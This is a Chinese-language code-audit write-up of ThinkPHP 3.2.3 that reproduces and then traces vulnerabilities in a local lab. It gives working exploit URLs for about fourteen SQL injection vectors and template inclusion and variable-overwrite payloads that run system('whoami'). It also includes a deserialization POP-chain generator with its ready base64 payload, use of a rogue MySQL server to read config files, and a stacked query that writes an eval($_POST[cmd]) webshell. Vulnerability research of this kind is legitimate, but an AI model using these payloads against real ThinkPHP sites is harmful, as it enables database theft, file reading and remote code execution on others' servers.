thinkphp3.2.3代码审计
2022-10-25 09:1:27 Author: F12sec(查看原文) 阅读量:16 收藏

环境准备

源码地址:http://www.thinkphp.cn/download/610.html

环境搭建:phpstudy pro [apache + php7.3 + mysql5.7]

审计工具:PhpStorm

框架知识速解:https://www.cnblogs.com/kenshinobiy/p/9165662.html

下载完源码,将源码解压放至无中文的目录,使用phpstudy pro添加网站,选择网站目录至根目录

配置数据库文件,打开\ThinkPHP\Conf\convention.php,填写自己相应的配置

开启debug 方便本地测试,配置在根目录index.php

然后创建一个user测试表,如下

漏洞复现

sql注入-where

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function select() {
    $id = I('get.id');
    $user = M('user');
    $data = $user->find($id);
    var_dump($data);
   }

浏览器访问:

http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -

把find改成select也是可以利用

$data = $user->select($id);

浏览器访问:

http://tp323.com/index.php/home/index/select?id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-exp

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function select() {
       $map['id'] = $_GET['id'];
    $user = M('use');
    $data = $user->where($map)->find();
    var_dump($data);
   }

payload:

http://tp323.com/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-bind

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test() {
       $User = M('users');
       $user['id'] = I('id');
       $data['username'] = I('username');
       $value = $User->where($user)->save($data);
       var_dump($value);
   }

payload:

http://tp323.com/index.php/home/index/test?id[0]=bind&id[1]=0 and (updatexml(1,concat(0x7e,user(),0x7e),1))&username=aaaaa

sql注入-table

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[table]=information_schema.tables where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-alias

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[alias]= where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-field

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

view-source:http://tp323.com/index.php/home/index/test3?id[field]=user()-- -

sql注入-join

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[join][]= where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-group

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[group]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-having

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[having]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-order

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[order]=updatexml(1,concat(0x7e,user(),0x7e),1)

sql注入-union

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[union][]=select user(),version(),database()

sql注入-comment

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?id[comment]=*/ where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-force

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$id = I('get.id');
$user = M('user');
$data = $user->select($id);
var_dump($data);
}

user需要先创建一个索引,如id

payload:

http://tp323.com/index.php/home/index/test3?id[force]=id ) where updatexml(1,concat(0x7e,user(),0x7e),1)-- -

sql注入-count

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test3() {
$count = I('get.count');
$user = M('user');
$data = $user->count($count);
var_dump($data);
}

payload:

http://tp323.com/index.php/home/index/test3?count=id),user(

文件包含-show

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function rcetest($n='word') {
$this->show('Hello '.$n);
}

payload:

http://tp323.com/index.php/home/index/rcetest?n=<?php system('whoami');?>

命令执行-assign变量覆盖1

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function test2(){
$this->assign($_GET['name']);
$this->display();
}

新建html文件,命名为test2.html,在\Application\Home\View\下创建index目录,将文件放到该目录

\Application\Runtime\Logs\Home目录下,将今天的日志文件内容全部删除,方便测试

payload1:需要在burp中发送,因为在浏览中发送会被编码

http://tp323.com/index.php/home/index/test2?a=<?=phpinfo();?>

payload2:

http://tp323.com/index.php/home/index/test2?name[_filename]=./Application/Runtime/Logs/Home/22_05_31.log

如果没开启日志,或者是日志被一些语法破坏,其实包含其他也是可以的,比如图片马,比如我们可以上传图片马并且知道位置,可以如下利用

http://tp323.com/index.php/home/index/test2?name[_filename]=public/uploads/pinfo.png

所以只要能有一个可以包含进来的文件即可,或是当任意文件读取使用

命令执行-assign变量覆盖2

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function rcetest() {
$name = $_GET['name'];
$from = $_GET['from'];
$this->assign($name,$from);
$this->display();
}

新建html文件,命名为rcetest.html,在\Application\Home\View\下创建index目录,将文件放到该目录

此利用条件需要修改配置文件,修改\ThinkPHP\Conf\convention.php文件

TMPL_ENGINE_TYPE的值修改为php

payload:

http://tp323.com/index.php/home/index/rcetest?name=_content&from=<?php phpinfo();?>

反序列化

先将php版本设置成php5,我这里设置成php5.6.9

打开文件/Application/Home/Controller/IndexController.class.php,添加如下内容

    public function un() {
unserialize(base64_decode($_GET['un']));
}

首先需要搭建恶意MySQL服务器

脚本地址:

https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

然后根据设置好端口(请勿与其他服务冲突)与需要读取的文件,如我这里将端口设置为3307,读取的文件为:F:/MyApplication/phpstudy_pro/WWW/thinkphp323/ThinkPHP/Conf/convention.php,即数据库的配置文件

然后使用python2运行即可,那么实战怎么知道这个数据库文件位置呢,有一个条件就可以,就是thinkphp开启debug,我们只要让它报错就行了,比如 http://tp323.com/index.php/home/asdasdas

那么我们继续接着构造反序列化poc,hostname为构造的恶意ip地址,hostport为端口,其他可以不改

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

生成的poc为

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiIzMzA3IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

然后将生成的poc发送请求即可,回显是空白的

然后刚刚的python运行的文件有回显,就会获取到我们设置读取的文件

查看mysql.log就可以查看 convention.php 的内容了

然后再将刚刚的反序列化poc修改如下内容

        protected $config = array(
"debug" => 1,
"database" => "sql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);

最后注入结果如下

如果数据库开启了可写,那么也可以利用堆叠写入文件,将poc改为

        public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=2;select 0x3c3f70687020406576616c28245f504f53545b636d645d293f3e into outfile 'F:/MyApplication/phpstudy_pro/WWW/thinkphp323/shell.php'#",
"where" => "1=1"
);
}

即可成功写入

漏洞分析

sql注入-where

首先给I方法设置断点

开始调试跟进,一直跟进,直接查看过滤的地方吧

显然没有很多函数都没有过滤,updatexml也不例外,所以也可以直解使用union select

http://tp323.com/index.php/home/index/select?id[where]=0 union select user(),version(),database()-- -

接着看find方法,设置断点

开始debug测试,请求

http://tp323.com/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -

F7步入跟进

显然我们传入的是数组,不满足这个if,所以直接到达获取主键的函数

获取到主键为id,紧接继续进行判断,由于$pk不为数组,所以也跳过这个if

设置查询一条记录,然后使用_parseOptions函数进行处理

这里有一个过滤方法,但是需要先满足if条件,这里并不满足,因为$options['where']不是数组

里面有一个_parseType方法使用intval过滤了

所以可以直接看看最后的了,可以看到最后的sql语句

sql注入-exp

这里使用$map['id'] = $_GET['id'];获取id是因为I方法过滤了关键词exp

所以这里也直接查看find方法,下断点

前面的差不多一样,直接跟进到_parseOptions方法,判断是否是标量

标量变量是指那些包含了 integer、float、string 或 boolean 的变量,而 array、object 和 resource 则不是标量。这里的$val为数组,所以也不会进入_parseType方法

然后继续跟进到parseSql方法

这里只有where,所以继续跟进

然后一些不必要的直接略过,跟到parseWhereItem方法,可以看到直接是拼接返回

所以这里不在进行一些不重要的调试了,直接看最后的sql语句

sql注入-bind

在save函数处打断点

传输过程也是跟前面分析的两条差不多,把值传输到 $this->options['where']

进入_parseType方法验证类型

紧接着是_parseOptions方法进行字段验证

因为是数组,所以不会进入_parseType方法

继续跟进到update方法

parseSet方法 拼接了一个 =:

此时的 sql

然后继续跟进parseWhere方法

然后进行 parseWhere,然后再parseWhereItem

选择bind拼接= :

此时的 sql

然后继续跟进到execute,该方法有个关键的地方

strtr函数进行替换处理,就是将:0替换为username传入的值

最后就能成功执行该报错函数

sql注入-table

前面的分析都差不多,这里直接跳到parseTable方法

此时table不是数组类型而是string类型,所以直接看elseif,先将string以,进行分割形成一个数组

这里正则返回1然后又非,所以不会进入该if,也就不会添加这个反引号

最后又把刚刚去掉的,又组合起来了

所以最后的sql语句如下,从sql中可知,需要一个存在的表才能走到updatexml函数,否则先报错表不存在

sql注入-alias

前面的流程差不多,直接看到拼接位置,可以看到是直接将表名与传入的值直接拼接

这里也是满足正则,不会添加反引号

最后的sql语句

sql注入-field

前面的都一样,所以直接来看parseField方法

跟进,发现其实也没啥操作就是别名定义,但是key为0,所以也就没有拼接上AS,最后返回原来的字符串

最后返回拼接的语句

sql注入-join

直接看到parseJoin方法,直接拼接

最后返回的sql语句

sql注入-group

直接看到parseGroup方法,也是判断完直接拼接

sql注入-having

直接看到parseHaving方法,也是判断完直接拼接

sql注入-order

直接看到parseOrder方法,也是直接拼接

sql注入-union

直接看到parseUnion方法, 依旧是直接拼接

sql注入-comment

直接看到parseComment方法,因为是拼接的,所以前边加一个*/闭合然后再构造sql语句

sql注入-force

直接看到parseForce方法,可以看到也是拼接起来用的

sql注入-count

调试断点

跟进,这里会进行一下初始化,这里也没什么过滤,也是直接拼接罢了

所以由这里可得出这几个方法(sum、min、max、avg)其实都存在一样的问题

文件包含-show

这里可以先不用debug,直接追踪show方法看看都执行了什么操作

跟进display()

跟进fetch ()

当开启PHP原生模板时:命令执行模块中的内容

当没使用PHP原生模板时:进入exec方法

这里执行的是else,所以直接去看看exec方法

继续跟进run方法,有个load方法

跟进load,最后是直接包含这个$_filename缓存文件 ,形成文件包含

缓存文件内容如下

命令执行-assign变量覆盖1

前面的分析跟show一样,直接看到,变量覆盖位置

命令执行-assign变量覆盖2

跟进display()方法

继续跟进display

跟进fetch

在这里就可以看到刚刚为什么需要修改的配置文件,因为只有满足if了才能进入extract

debug调试

反序列化

既然是反序列化那就先从魔术方法__destruct开始找

全局搜索  function __destruct(

像这种没有可控参数的,就比较难利用 ,所以只能继续找

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,可以看到有可控变量(img)的方法

如果我们对 img 变量赋值一个对象,就会调用 destroy() 方法,而PHP7中,如果无参调用一个含参方法,ThinkPHP会报错,在PHP5中不会报错,所以这就是刚刚我们需要先将PHP版本设置为5的原因

接着就全局搜索 function destroy 方法看看是否可以利用

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php有两个目前可控的参数(handle与sessionName)

所以继续全局搜索function delete方法,但是发现传入的参数大多数都是array形式

而即使将sessionName设置为数组$this->sessionName.$sessID 的结果是 string 'Array'

<?php
$a = array("spaceman" => "fw");
$b = $a."";
var_dump($a);
var_dump($b);
var_dump(is_array($b));
?>

输出结果:

array (size=1)
'spaceman' => string 'fw' (length=2)

string 'Array' (length=5)

false

所以这里sessionName就不可控了

但是我们可以在ThinkPHP/Library/Think/Model.class.php文件中发现可控参数$pk

有了这个可控的参数,我们就可以控制$options了,因为满足if条件后又会再调用一下本身,而$data也是可控的,所以现在就是 $pk、$data、$options都可控了

继续往下分析,这里要跳过if的话就需要设置$options['where'] => 1=1

然后接着就是db的delete了

跟进ThinkPHP\Library\Think\Db\Driver.class.php的delete方法,因为$options是可控的,所以$options['table']也就可控

中间的操作没什么过滤,所以直接看最后的execute方法,从名字中就知道是执行sql语句,但是这里有个初始化数据库的方法initConnect

跟进initConnect方法,一般是默认单数据库,所以选择else语句

根据connect方法,这是连接数据库方法,所以只需要我们设置可控参数$config即可连接任意数据库

所以理清思路,将链子连起来

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()
–>
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()
–>
ThinkPHP/Library/Think/Model.class.php::delete()
–>
ThinkPHP/Library/Think/Db/Driver.class.php::delete()

最后就可以构造poc了

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "sql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

Finally


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NjU3NzE3OQ==&mid=2247488514&idx=1&sn=cc568d4d1e5b6d253d5df8d6ea5334d0&chksm=c07faff6f70826e016b49cb0b7da9c8f0c5940fb36e73d50bf46e427fc7de125d9ea5a3c9c9b#rd
如有侵权请联系:admin#unsafe.sh